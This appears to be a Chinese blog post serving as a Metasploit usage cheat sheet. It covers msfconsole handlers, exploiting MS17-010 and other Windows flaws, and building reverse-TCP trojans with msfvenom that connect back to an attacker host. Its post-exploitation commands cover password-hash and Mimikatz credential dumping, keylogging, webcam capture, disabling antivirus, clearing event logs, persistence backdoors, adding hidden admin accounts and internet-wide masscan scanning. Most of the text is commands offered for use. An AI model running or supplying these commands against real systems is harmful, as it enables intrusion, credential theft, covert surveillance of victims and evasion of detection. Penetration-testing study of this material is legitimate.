metasploit食用小技巧

①msfconsole(控制台)

术语解释
poc漏洞验证脚本,用于验证漏洞的存在
exp漏洞利用脚本,提供详细的漏洞利用方法
metasploit工作模式采用纯内存方式,隐蔽性高,难以被杀毒软件检测
exploit利用漏洞进行攻击,通常与payload配合使用
payload攻击过程中执行的指令或代码,可为反弹shell或直接执行指令
singles所有代码在一个文件中,受内存空间限制
stagers建立传输payload的连接,安全传输payload到目标系统
stages在stagers建立连接后传输的代码
auxiliary辅助模块,用于信息收集,无payload的exp
encoders编码模块,对payload进行加密,躲避杀毒软件的检测
post获取shell后进行的进一步攻击指令(后渗透)
nops空指令
evasion免杀技术,具有较好的免杀效果,但有时限性

msfdb(数据库)

在进工具前:
service postgresql start    开启数据库
msfdb init    进行初始化

进工具后:
db_status    查询是否连接数据库

在进入msfconsole之后,可输入hostsservices来查看相关信息,可使用db_nmap来调用nmap工具将扫描到的信息,录入数据库

监听模块

进入msfconsole控制台后

使用通用模块

命令作用
use exploit/multi/handler设置使用通用模块 exploit/multi/handler 进行处理。
info查看当前所选模块的信息。
show options显示当前模块的可配置选项和设置信息。
sessions列出当前已建立的会话列表。-K则清楚所有sessions
set payload设置要使用的 payload,例如:set PAYLOAD windows/meterpreter/reverse_tcp
set lhosts设置监听主机的 IP 地址,即攻击者主机的 IP 地址,例如:set LHOST 192.168.11.101
set lport设置监听端口号,例如:set LPORT 4444

 注:meterpreter和shell返回但不断开连接,保持sessions时,按Ctrl+z键或者输入bg

另外如果获得了shell,需要进一步的后渗透,则需要使用指令

sessions -u 1

数字 “1” 是所要升级权限sessions的ID,从而使得shell变成meterpreter

连接方式描述端口
bind 主机等待连接,目标发起连接(正向连接)随机
reverse 目标等待连接,主机发起连接(反向连接)随机
http 使用HTTP协议连接80
https 使用HTTPS协议连接443

 注:meterpreter——升级版shell

设置payload模板:set payload 操作系统/【架构】/终端/连接方式 (架构不写默认x86)

使用例子①:

use exploit/multi/handler

 结果↓

 其中,kali主机IP是192.168.11.101,win7IP是192.168.11.100

这里填win7的IP是因为我们采用的是reverse_tcp反向连接

使用例子②:

使用MS17-010获得meterpreter

第一步:搜索ms17-010

 第二步:查看相关配置,添加目标IP

 第三步:run

run成功结果↓

 用ms17-010获得的meterpreter,一般都是最高权限管理员↓

 使用例子③:

windows7IE溢出

ms11-003,IE8中对css的解析存在一个问题,非法css页面导致ie8奔溃重启

使用例子④:

ms12-020——死亡蓝屏

使用例子⑤:

cve-2020-0796(445)——针对win10 1903——死亡黑屏

②msfvenom(木马生成平台)

常见参数

参数作用
-p指定payload
-a指定架构 (x64 或 x86)
--platform设置平台
-e指定编码 (免杀,作用有限)
-i指定迭代
-f指定文件格式
-f raw -o 1.apk (raw 是原生代码)
-R -o 1.apk
-o指定输出文件
-l显示详细信息

 注:msfvenom中的payload要和msfconsole设置的payload大致相同,例如操作系统要一致,不能一个Windows一个linux

 使用样例:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.11.101 lport=4444 -f exe > test.exe
参数作用
-p windows/x64/meterpreter/reverse_tcp指定生成的 payload 类型为反向 TCP Meterpreter shell,且针对的是 Windows 操作系统的 x64 架构。
lhost=192.168.11.101设置反向连接的监听主机 IP 地址为 192.168.11.101,即攻击者主机的IP地址。
lport=4444设置监听的端口号为 4444,即监听主机上 Metasploit 所在的端口。
-f exe指定输出文件的格式为可执行文件 (exe)。
> test.exe将生成的 payload 输出到名为 "test.exe" 的文件中,即将生成的恶意软件载荷保存到 test.exe 可执行文件中。

快速开启http服务

制作木马后,在当前文件夹快速开启http服务,以便于传输木马:

python2.7 -m SimpleHTTPServer 8080
python3.9 -m http.server 8080

 后渗透信息收集类

常用指令

序号命令描述
1sysinfo显示有关目标主机的基本系统信息。
2getuid获取当前会话的用户标识符(UID)。
3getsid获取当前会话的安全标识符(SID)。
4getsystem尝试升级当前会话的权限为管理员(SYSTEM)。
5run post/windows/gather/checkvm检测目标主机是否为虚拟机环境。
6run post/windows/manage/killav尝试关闭杀毒软件进程。
7run post/windows/gather/enum_logged_users枚举当前已登录的用户。
8run post/windows/manage/enable_rdp开启目标主机的远程桌面协议(RDP)服务。
9run post/windows/gather/smart_hashdump获取密码哈希,无需进行会话迁移。
10run exploit/windows/local/ask触发 UAC 认证,同意后以管理员权限运行。
11run post/windows/gather/forensics/enum_drives获取目标分区情况。
12run post/windows/gather/enum_applications获取当前安装的应用程序。
13run post/windows/gather/enum_logged_on_users获取用户登录信息。
14run post/multi/recon/local_exploit_suggester对目标进行漏洞扫描。
15run post/multi/gather/env收集系统环境信息。
16run post/windows/gather/enum_services查看开启的服务。
17run post/windows/gather/dumplinks查看目标主机最近的操作。
18run post/windows/manage/delete_user username=admin删除用户。
19run post/windows/manage/enable_rdp username=admin password=admin添加账户。

 run post/windows/gather/enum_patches ——检查系统补丁

成功获取管理员权限例子:

命令/模块描述
sysinfo查看目标主机系统信息
run scraper查看目标主机详细信息,在目录 /root/.msf4/logs/scripts/scraper
run hashdump导出密码的哈希
load kiwi加载 Mimikatz
ps查看目标主机进程信息
pwd查看目标当前目录 (Windows)
getlwd查看目标当前目录 (Linux)
getpid查看当前 Meterpreter Shell 的进程 PID
getuid查看当前用户
getsystem获取系统权限
migrate 123迁移进程
idletime查看主机运行时间
run killav关闭杀毒软件
screenshot进行屏幕截图(较清晰)
screengrab进行屏幕截图(较模糊)
webcam_list查看目标主机的摄像头
webcam_snap拍照
webcam_stream开启摄像头视频流
execute -f xx执行可执行程序,具体参数可搜索
run getgui -u x -p x创建用户
keyscan_start开启键盘记录
keyscan_dump显示捕捉到的键盘记录
keyscan_stop停止键盘记录
download c:\test.txt /root将目标机的 c:\test.txt 文件下载到 /root 目录下
upload /root/test.txt c:\test将 /root/test.txt 上传到目标机的 c:\test 目录
clearev清除 Windows 中的应用程序日志、系统日志、安全日志
run post/windows/gather/forensics/enum_drives获取目标分区情况
run post/windows/gather/checkvm检测是否是虚拟机
run post/windows/gather/enum_applications获取当前安装的应用程序
run post/windows/gather/enum_logged_on_users获取用户登录信息
run post/multi/recon/local_exploit_suggester获取存在的提权漏洞
run post/multi/gather/env获取环境变量
run post/windows/gather/enum_services查看开启的服务
run post/windows/manage/migrate自动进程迁移
run post/windows/manage/killav关闭杀毒软件
run post/windows/gather/arp_scannerARP 嗅探存活主机
run post/windows/gather/smart_hashdump导出哈希
run post/windows/manage/delete_user USERNAME=xx删除账号
run post/windows/manage/enable_rdp USERNAME=x PASSWORD=x添加账号
run post/windows/gather/credentials/credential_collector导出哈希和令牌

开小窗口文明观看

run vnc

 进程迁移

拿到shell或者meterpreter后,为了确保相关木马或者进程不被关闭,使用进程迁移

思路:将进程迁移至资源管理器进程(explorer.exe)或者桌面窗口管理器(dwn.exe)

样例

找到资源管理器进程

进程迁移操作

自动迁移进程

获得meterpreter之后,运行该命令 ↓

run post/windows/manage/migrate

开启3389远控

第一种:

获得meterpreter之后,运行该命令开启目标主机的3389端口 ↓

run post/windows/manage/enable_rdp

 或

run getgui -e

 然后再用xfreerdp或者rdesktop工具进行远程连接目标主机↓

xfreerdp /u:hack /p:hack /v:192.168.11.100

 或

rdesktop 192.168.11.100

 连接结果

以上知道账号密码的前提下的操作

如果不知道账号密码,那就换一种思路:创建一个账户,并添加到管理员组里

shell
chcp 65001
net user admin admin /add
net localgroup administrators admin /add

或者直接在meterpreter下运行↓

run post/windows/manage/enable_rdp username=admin password=admin

 这个运行完后,默认为管理员

 

命令描述
shell从meterpreter界面切换至shell界面。
chcp 65001更改当前控制台的代码页为 UTF-8,以支持 Unicode 字符。
net user admin admin /add添加一个名为 "admin" 的用户。
net localgroup administrators admin /add将用户 "admin" 添加到本地管理员组。

 这一通指令走下来,就有个知道账户密码的账号了,继续上面远程登录的流程走就行。

 利用kiwi工具查看账户密码

需管理员权限运行!

前提:kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制

可使用指令“ps”查看当前有哪些64位的进程,进程迁移至64位进程的程序后,使用kiwi

迁移进程后加载kiwi模块↓

load kiwi
①列举系统中的明文密码↓ 
creds_all
 ②利用kiwi工具调用sekurlsa↓
kiwi_cmd sekurlsa::logonpasswords

 键鼠控制、监听

命令命令开关详细参数说明
uictldisableall禁用所有UI控件
keyboard禁用键盘UI控件
mouse禁用鼠标UI控件
enableall启用所有UI控件
keyboard启用键盘UI控件
mouse启用鼠标UI控件

 例如:uictl disable all——禁用所有UI控件

命令命令参数说明
keyscan_start开启监听(后台)
stop暂停监听
dump输出监听的内容

 例如:keyscan_start——开启监听

参数说明
-z监听到了不进入shell
-j进行后台监听

后门(持久化连接)

persistence(直接使用相关exp指令:use exploit/windows/local/persistence)

参数说明
-X系统引导的时候就加载后门
-i发送shell的间隔
-p端口
-rshell
-P设置payload(windows/meterpreter/reverse_tcp)

在meterpreter下运行: run persistence -X -i 5 -p 1226 -r 192.168.11.101

 UAC提权

use exploit/windows/local/ask 

exe:黄
psh:蓝

快捷监听

handler -H 10.0.0.4 -P 4444 -p windows/meterpreter/reverse_tcp 

hashdump:管理员权限下,可输出密码的md5

AlwaysinstallElevated键提权小技巧

msf:always_install_elevated

还有个exploit/windows/local/unquoted_service_path

Masscan扫描工具

号五分钟扫遍互联网,hping3

性能优越,极限速度 1000w/s,参数 → nmap

syn

-p 80,8000-8100 10.0.0.0/24
--max-rate=100000

masscan 0.0.0.0/0 -p 0-65535
不能乱扫

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值